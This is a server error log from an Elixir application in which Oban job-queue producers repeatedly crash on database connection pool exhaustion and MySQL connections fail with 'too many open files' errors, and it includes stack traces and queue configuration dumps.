State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:40:55.238494Z], limit: 10, uuid: "9f1865d6-5298-4535-9011-7f5796550061", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:55.238500Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.132648>, refresh_timer: #Reference<0.2525715032.1077411843.258211>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:07.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:40:55.240364Z], limit: 3, uuid: "079b557d-a8d8-41d5-be1a-8bd154ff73e8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:55.240370Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.132647>, refresh_timer: #Reference<0.2525715032.1099431938.25315>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:15.275000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:16.648000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:17.036000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:18.832000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:41:07.248084Z], limit: 50, uuid: "4104e597-2567-458a-a659-a0702efdaaa2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:07.248090Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.23843>, refresh_timer: #Reference<0.2525715032.1068498948.23814>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:19.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:41:07.244506Z], limit: 5, uuid: "3be7bbf0-b660-4a43-9cbd-d8f282cd5a5a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:07.244512Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.23842>, refresh_timer: #Reference<0.2525715032.1068498948.23802>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:19.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:41:07.248282Z], limit: 3, uuid: "6e990347-6dea-40d9-bf22-6ec8c3a05777", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:07.248287Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.23844>, refresh_timer: #Reference<0.2525715032.1068498948.23824>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:19.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:41:07.241833Z], limit: 20, uuid: "b8e20073-f925-48da-942a-a31c0145ba33", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:07.241840Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.23792>, refresh_timer: #Reference<0.2525715032.1121189889.132885>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:41:07.248132Z], limit: 10, uuid: "a6bd03fb-df5f-4e2b-8948-0626178ccc87", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:07.248138Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.23845>, refresh_timer: #Reference<0.2525715032.1077411843.258335>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:41:07.245603Z], limit: 5, uuid: "04ce232e-dc92-4cef-9d00-953b7adb4c9e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:07.245608Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.25365>, refresh_timer: #Reference<0.2525715032.1099431938.25353>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:19.241000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:19.592000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:21.362000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:24.515000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:25.690000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:27.170000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:28.080000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:30.174000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:41:19.239412Z], limit: 50, uuid: "3afe789f-eb36-4e4a-8d84-04aa2b613451", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:19.239418Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.24172>, refresh_timer: #Reference<0.2525715032.1077411843.258401>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

